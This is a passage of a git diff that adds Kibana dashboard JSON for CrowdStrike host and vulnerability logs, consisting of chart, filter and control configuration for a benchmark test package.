"store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "a10dc271-d00d-4766-8ec4-28fe3978afea", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.host" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.host" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "dabab91c-4be8-4356-969c-270e7f21d6ba" + ], + "layerId": "ae6624d7-cc20-420b-994e-e9da30ce9d7e", + "layerType": "data", + "position": "top", + "seriesType": "bar_stacked", + "showGridlines": false, + "xAccessor": "55ced9a5-9461-4aba-a522-92fad79ab843" + } + ], + "legend": { + "isVisible": true, + "position": "right", + "shouldTruncate": false, + "showSingleSeries": false + }, + "preferredSeriesType": "bar_stacked", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 15, + "i": "c5b14462-c4b7-4bc6-b826-592096b235ef", + "w": 24, + "x": 0, + "y": 17 + }, + "panelIndex": "c5b14462-c4b7-4bc6-b826-592096b235ef", + "title": "Host over Host IP [Logs CrowdStrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "", + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-c6d62863-d037-4156-a25c-6e4bc06b7885", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "de769611-9467-477d-9867-fc74698abdd9", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "c6d62863-d037-4156-a25c-6e4bc06b7885": { + "columnOrder": [ + "eb4c815b-4d40-4169-bba7-5cfd9408ae9a", + "396927e3-233a-4a3a-b459-929dafd53134", + "6e59d96a-2622-45fc-8b9b-ce38c1eb1556" + ], + "columns": { + "396927e3-233a-4a3a-b459-929dafd53134": { + "customLabel": true, + "dataType": "date", + "isBucketed": true, + "label": "Timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "6e59d96a-2622-45fc-8b9b-ce38c1eb1556": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "eb4c815b-4d40-4169-bba7-5cfd9408ae9a": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Device ID", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "6e59d96a-2622-45fc-8b9b-ce38c1eb1556", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "device.id" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "index": "de769611-9467-477d-9867-fc74698abdd9", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.host" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.host" + } + } + } + ], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "6e59d96a-2622-45fc-8b9b-ce38c1eb1556" + ], + "layerId": "c6d62863-d037-4156-a25c-6e4bc06b7885", + "layerType": "data", + "position": "top", + "seriesType": "bar_stacked", + "showGridlines": false, + "splitAccessor": "eb4c815b-4d40-4169-bba7-5cfd9408ae9a", + "xAccessor": "396927e3-233a-4a3a-b459-929dafd53134" + } + ], + "legend": { + "isVisible": true, + "position": "right", + "shouldTruncate": false, + "showSingleSeries": true + }, + "preferredSeriesType": "bar_stacked", + "title": "Empty XY chart", + "valueLabels": "hide", + "valuesInLegend": true + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 15, + "i": "ea96fb11-edf9-470e-a7f9-903b084e1901", + "w": 24, + "x": 24, + "y": 17 + }, + "panelIndex": "ea96fb11-edf9-470e-a7f9-903b084e1901", + "title": "Host over Timestamp [Logs CrowdStrike]", + "type": "lens" + } + ], + "timeRestore": false, + "title": "[Logs CrowdStrike] Host", + "version": 2 + }, + "coreMigrationVersion": "8.8.0", + "created_at": "2025-03-01T12:27:20.645Z", + "id": "crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c", + "managed": false, + "references": [ + { + "id": "logs-*", + "name": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a:indexpattern-datasource-layer-200a15f3-d229-4812-ab0c-0241c9ca974e", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "cfed76fa-d3ba-450b-8c8b-03a7e2834f7a:af92b18a-b19c-4eea-88d7-7eef6ca7cea7", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "be658e9b-1f41-424b-a975-ab42befcb77e:indexpattern-datasource-layer-b6c130c0-83a9-4114-a597-1044d0ee891a", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "be658e9b-1f41-424b-a975-ab42befcb77e:4275918f-e9ad-4439-b16c-190021e6a4dd", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "c5b14462-c4b7-4bc6-b826-592096b235ef:indexpattern-datasource-layer-ae6624d7-cc20-420b-994e-e9da30ce9d7e", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "c5b14462-c4b7-4bc6-b826-592096b235ef:a10dc271-d00d-4766-8ec4-28fe3978afea", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "ea96fb11-edf9-470e-a7f9-903b084e1901:indexpattern-datasource-layer-c6d62863-d037-4156-a25c-6e4bc06b7885", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "ea96fb11-edf9-470e-a7f9-903b084e1901:de769611-9467-477d-9867-fc74698abdd9", + "type": "index-pattern" + } + ], + "type": "dashboard", + "typeMigrationVersion": "10.2.0", + "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json new file mode 100644 index 0000000000..c45272165a --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5.json @@ -0,0 +1,1111 @@ +{ + "attributes": { + "controlGroupInput": { + "chainingSystem": "HIERARCHICAL", + "controlStyle": "oneLine", + "ignoreParentSettingsJSON": { + "ignoreFilters": false, + "ignoreQuery": false, + "ignoreTimerange": false, + "ignoreValidations": false + }, + "panelsJSON": { + "47c1726b-56fd-48c9-9378-07a165ac42b9": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "crowdstrike.vulnerability.confidence", + "id": "47c1726b-56fd-48c9-9378-07a165ac42b9", + "searchTechnique": "prefix", + "selectedOptions": [], + "singleSelect": true, + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Confidence" + }, + "grow": true, + "order": 3, + "type": "optionsListControl", + "width": "medium" + }, + "5cc4f532-9959-46b8-ba73-8bd54c27891b": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "crowdstrike.vulnerability.status", + "id": "5cc4f532-9959-46b8-ba73-8bd54c27891b", + "searchTechnique": "prefix", + "selectedOptions": [], + "singleSelect": true, + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Status" + }, + "grow": true, + "order": 2, + "type": "optionsListControl", + "width": "medium" + }, + "609aecfe-f39b-41ee-b60a-d5bb0fab67b0": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "vulnerability.severity", + "id": "609aecfe-f39b-41ee-b60a-d5bb0fab67b0", + "searchTechnique": "prefix", + "selectedOptions": [], + "singleSelect": true, + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Severity" + }, + "grow": true, + "order": 1, + "type": "optionsListControl", + "width": "medium" + }, + "f4535e1b-f830-47b7-8bfc-72df5cca8d15": { + "explicitInput": { + "dataViewId": "logs-*", + "fieldName": "vulnerability.id", + "id": "f4535e1b-f830-47b7-8bfc-72df5cca8d15", + "searchTechnique": "prefix", + "selectedOptions": [], + "sort": { + "by": "_count", + "direction": "desc" + }, + "title": "Vulnerability" + }, + "grow": true, + "order": 0, + "type": "optionsListControl", + "width": "medium" + } + }, + "showApplySelections": false + }, + "description": "Overview of the CrowdStrike Vulnerability Logs.", + "kibanaSavedObjectMeta": { + "searchSourceJSON": { + "filter": [ + { + "$state": { + "store": "appState" + }, + "meta": { + "alias": null, + "disabled": false, + "field": "data_stream.dataset", + "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "key": "data_stream.dataset", + "negate": false, + "params": { + "query": "crowdstrike.vulnerability" + }, + "type": "phrase" + }, + "query": { + "match_phrase": { + "data_stream.dataset": "crowdstrike.vulnerability" + } + } + } + ], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "optionsJSON": { + "hidePanelTitles": false, + "syncColors": false, + "syncCursor": true, + "syncTooltips": false, + "useMargins": true + }, + "panelsJSON": [ + { + "embeddableConfig": { + "enhancements": { + "dynamicActions": { + "events": [] + } + }, + "savedVis": { + "data": { + "aggs": [], + "searchSource": { + "filter": [], + "query": { + "language": "kuery", + "query": "" + } + } + }, + "description": "", + "params": { + "fontSize": 12, + "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)\n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n**Vulnerability**\n\n### Overview\n\nThis dashboard shows detailed statistics and visualizations of ingested logs related to vulnerabilities detected by CrowdStrike.\n\nIt provides an overview of vulnerabilities over time and highlights the top 10 vulnerabilities and most affected hosts. The dashboard also breaks down vulnerabilities by severity, status, and confidence levels to aid in risk assessment and prioritization.\n", + "openLinksInNewTab": false + }, + "title": "", + "type": "markdown", + "uiState": {} + } + }, + "gridData": { + "h": 31, + "i": "cb1b46eb-0f11-4f81-86a1-47c016e9027a", + "w": 11, + "x": 0, + "y": 0 + }, + "panelIndex": "cb1b46eb-0f11-4f81-86a1-47c016e9027a", + "title": "Table of Contents", + "type": "visualization" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-c53d6776-c8f8-4c71-a375-69d006304e6b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "logs-*", + "layers": { + "c53d6776-c8f8-4c71-a375-69d006304e6b": { + "columnOrder": [ + "114b51a3-a012-44f0-9b81-255592bf9007", + "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c" + ], + "columns": { + "114b51a3-a012-44f0-9b81-255592bf9007": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "logs-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "accessors": [ + "39d69aeb-b4f0-4f34-ab3a-d4c9e9d4504c" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "c53d6776-c8f8-4c71-a375-69d006304e6b", + "layerType": "data", + "position": "top", + "seriesType": "line", + "showGridlines": false, + "xAccessor": "114b51a3-a012-44f0-9b81-255592bf9007" + } + ], + "legend": { + "isVisible": true, + "position": "right", + "shouldTruncate": false + }, + "preferredSeriesType": "line", + "title": "Empty XY chart", + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "enhancements": {} + }, + "gridData": { + "h": 15, + "i": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e", + "w": 37, + "x": 11, + "y": 0 + }, + "panelIndex": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e", + "title": "Vulnerability over time [Logs Crowdstrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "logs-*", + "layers": { + "a43eff7e-1ae6-4159-a295-2c753dffbd4a": { + "columnOrder": [ + "8d57da88-d081-47a0-b896-eb94553bd55b", + "4bf72fea-6f03-4a5f-8488-028886adaef9" + ], + "columns": { + "4bf72fea-6f03-4a5f-8488-028886adaef9": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "8d57da88-d081-47a0-b896-eb94553bd55b": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Vulnerability", + "operationType": "terms", + "params": { + "accuracyMode": false, + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "vulnerability.id" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "logs-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "columns": [ + { + "alignment": "right", + "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9", + "isMetric": true, + "isTransposed": false + }, + { + "columnId": "8d57da88-d081-47a0-b896-eb94553bd55b", + "isMetric": false, + "isTransposed": false + } + ], + "headerRowHeight": "custom", + "headerRowHeightLines": 3, + "layerId": "a43eff7e-1ae6-4159-a295-2c753dffbd4a", + "layerType": "data", + "paging": { + "enabled": false, + "size": 10 + }, + "rowHeight": "single", + "rowHeightLines": 1 + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsDatatable" + }, + "enhancements": {} + }, + "gridData": { + "h": 16, + "i": "da53bcd1-6533-49f4-b01a-f6f73ce41379", + "w": 19, + "x": 11, + "y": 15 + }, + "panelIndex": "da53bcd1-6533-49f4-b01a-f6f73ce41379", + "title": "Top 10 Vulnerability [Logs Crowdstrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "logs-*", + "layers": { + "a43eff7e-1ae6-4159-a295-2c753dffbd4a": { + "columnOrder": [ + "8d57da88-d081-47a0-b896-eb94553bd55b", + "4bf72fea-6f03-4a5f-8488-028886adaef9" + ], + "columns": { + "4bf72fea-6f03-4a5f-8488-028886adaef9": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + }, + "8d57da88-d081-47a0-b896-eb94553bd55b": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Hosts", + "operationType": "terms", + "params": { + "accuracyMode": false, + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": false, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 10 + }, + "scale": "ordinal", + "sourceField": "host.name" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "logs-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "columns": [ + { + "alignment": "right", + "columnId": "4bf72fea-6f03-4a5f-8488-028886adaef9", + "isMetric": true, + "isTransposed": false + }, + { + "columnId": "8d57da88-d081-47a0-b896-eb94553bd55b", + "isMetric": false, + "isTransposed": false + } + ], + "headerRowHeight": "custom", + "headerRowHeightLines": 3, + "layerId": "a43eff7e-1ae6-4159-a295-2c753dffbd4a", + "layerType": "data", + "paging": { + "enabled": false, + "size": 10 + }, + "rowHeight": "single", + "rowHeightLines": 1 + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsDatatable" + }, + "enhancements": {} + }, + "gridData": { + "h": 16, + "i": "e23b231a-c029-433f-b6aa-0bc83960b159", + "w": 18, + "x": 30, + "y": 15 + }, + "panelIndex": "e23b231a-c029-433f-b6aa-0bc83960b159", + "title": "Top 10 Host [Logs Crowdstrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "layers": { + "f8493eb0-bbd5-47d9-9219-a326a5a73495": { + "columnOrder": [ + "4710b8dd-a68b-4d69-9348-5a5f58444e7b", + "b106a076-fc73-4cf0-b678-211f5e67be21" + ], + "columns": { + "4710b8dd-a68b-4d69-9348-5a5f58444e7b": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Severity", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 5 + }, + "scale": "ordinal", + "sourceField": "vulnerability.severity" + }, + "b106a076-fc73-4cf0-b678-211f5e67be21": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "emptySizeRatio": 0, + "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495", + "layerType": "data", + "legendDisplay": "show", + "metrics": [ + "b106a076-fc73-4cf0-b678-211f5e67be21" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "4710b8dd-a68b-4d69-9348-5a5f58444e7b" + ], + "truncateLegend": false + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {} + }, + "gridData": { + "h": 16, + "i": "36af41e0-213c-4145-acac-25b167b317ea", + "w": 16, + "x": 0, + "y": 31 + }, + "panelIndex": "36af41e0-213c-4145-acac-25b167b317ea", + "title": "Vulnerability by Severity [Logs Crowdstrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "logs-*", + "layers": { + "f8493eb0-bbd5-47d9-9219-a326a5a73495": { + "columnOrder": [ + "4710b8dd-a68b-4d69-9348-5a5f58444e7b", + "b106a076-fc73-4cf0-b678-211f5e67be21" + ], + "columns": { + "4710b8dd-a68b-4d69-9348-5a5f58444e7b": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Status", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 5 + }, + "scale": "ordinal", + "sourceField": "crowdstrike.vulnerability.status" + }, + "b106a076-fc73-4cf0-b678-211f5e67be21": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "logs-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "emptySizeRatio": 0, + "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495", + "layerType": "data", + "legendDisplay": "show", + "metrics": [ + "b106a076-fc73-4cf0-b678-211f5e67be21" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "4710b8dd-a68b-4d69-9348-5a5f58444e7b" + ], + "truncateLegend": false + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {} + }, + "gridData": { + "h": 16, + "i": "f94636e8-135f-4861-97bd-63326fd5028a", + "w": 16, + "x": 16, + "y": 31 + }, + "panelIndex": "f94636e8-135f-4861-97bd-63326fd5028a", + "title": "Vulnerability by Status [Logs Crowdstrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "logs-*", + "name": "indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "logs-*", + "layers": { + "f8493eb0-bbd5-47d9-9219-a326a5a73495": { + "columnOrder": [ + "4710b8dd-a68b-4d69-9348-5a5f58444e7b", + "b106a076-fc73-4cf0-b678-211f5e67be21" + ], + "columns": { + "4710b8dd-a68b-4d69-9348-5a5f58444e7b": { + "customLabel": true, + "dataType": "string", + "isBucketed": true, + "label": "Confidence", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "b106a076-fc73-4cf0-b678-211f5e67be21", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "secondaryFields": [], + "size": 5 + }, + "scale": "ordinal", + "sourceField": "crowdstrike.vulnerability.confidence" + }, + "b106a076-fc73-4cf0-b678-211f5e67be21": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Count", + "operationType": "count", + "params": { + "emptyAsNull": false, + "format": { + "id": "number", + "params": { + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "___records___" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "logs-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "layers": [ + { + "categoryDisplay": "default", + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "emptySizeRatio": 0, + "layerId": "f8493eb0-bbd5-47d9-9219-a326a5a73495", + "layerType": "data", + "legendDisplay": "show", + "metrics": [ + "b106a076-fc73-4cf0-b678-211f5e67be21" + ], + "nestedLegend": false, + "numberDisplay": "percent", + "primaryGroups": [ + "4710b8dd-a68b-4d69-9348-5a5f58444e7b" + ], + "truncateLegend": false + } + ], + "shape": "donut" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsPie" + }, + "enhancements": {} + }, + "gridData": { + "h": 16, + "i": "07b2c938-6511-4d9a-b5d4-beccfea7055d", + "w": 16, + "x": 32, + "y": 31 + }, + "panelIndex": "07b2c938-6511-4d9a-b5d4-beccfea7055d", + "title": "Vulnerability by Confidence [Logs Crowdstrike]", + "type": "lens" + }, + { + "embeddableConfig": { + "description": "", + "enhancements": {}, + "grid": { + "columns": { + "crowdstrike.vulnerability.cve.exploitability_score": { + "width": 205 + }, + "crowdstrike.vulnerability.cve.exprt_rating": { + "width": 181 + }, + "crowdstrike.vulnerability.cve.impact_score": { + "width": 184 + }, + "crowdstrike.vulnerability.suppression_info.is_suppressed": { + "width": 182 + }, + "vulnerability.id": { + "width": 142 + } + } + } + }, + "gridData": { + "h": 22, + "i": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9", + "w": 48, + "x": 0, + "y": 47 + }, + "panelIndex": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9", + "panelRefName": "panel_4b7b148a-e583-4e97-83a1-ffddfc6c72c9", + "title": "Vulnerability Essential Details [Logs Crowdstrike]", + "type": "search" + } + ], + "timeRestore": false, + "title": "[Logs Crowdstrike] Vulnerability", + "version": 2 + }, + "coreMigrationVersion": "8.8.0", + "created_at": "2025-03-08T11:24:58.039Z", + "id": "crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5", + "managed": false, + "references": [ + { + "id": "logs-*", + "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "de33aacf-71cb-4c66-bcf5-ecb9c5ada61e:indexpattern-datasource-layer-c53d6776-c8f8-4c71-a375-69d006304e6b", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "da53bcd1-6533-49f4-b01a-f6f73ce41379:indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "e23b231a-c029-433f-b6aa-0bc83960b159:indexpattern-datasource-layer-a43eff7e-1ae6-4159-a295-2c753dffbd4a", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "36af41e0-213c-4145-acac-25b167b317ea:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "f94636e8-135f-4861-97bd-63326fd5028a:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", + "type": "index-pattern" + }, + { + "id": "logs-*", + "name": "07b2c938-6511-4d9a-b5d4-beccfea7055d:indexpattern-datasource-layer-f8493eb0-bbd5-47d9-9219-a326a5a73495", + "type": "index-pattern" + }, + { + "id": "crowdstrike-56381e0f-4f72-4fc7-810c-5ba5b2c47b8c", + "name": "4b7b148a-e583-4e97-83a1-ffddfc6c72c9:panel_4b7b148a-e583-4e97-83a1-ffddfc6c72c9", + "type": "search" + }, + { + "id": "logs-*", + "name": "controlGroup_f4535e1b-f830-47b7-8bfc-72df5cca8d15:optionsListDataView", + "type": "index-pattern" + }, + { + "id": 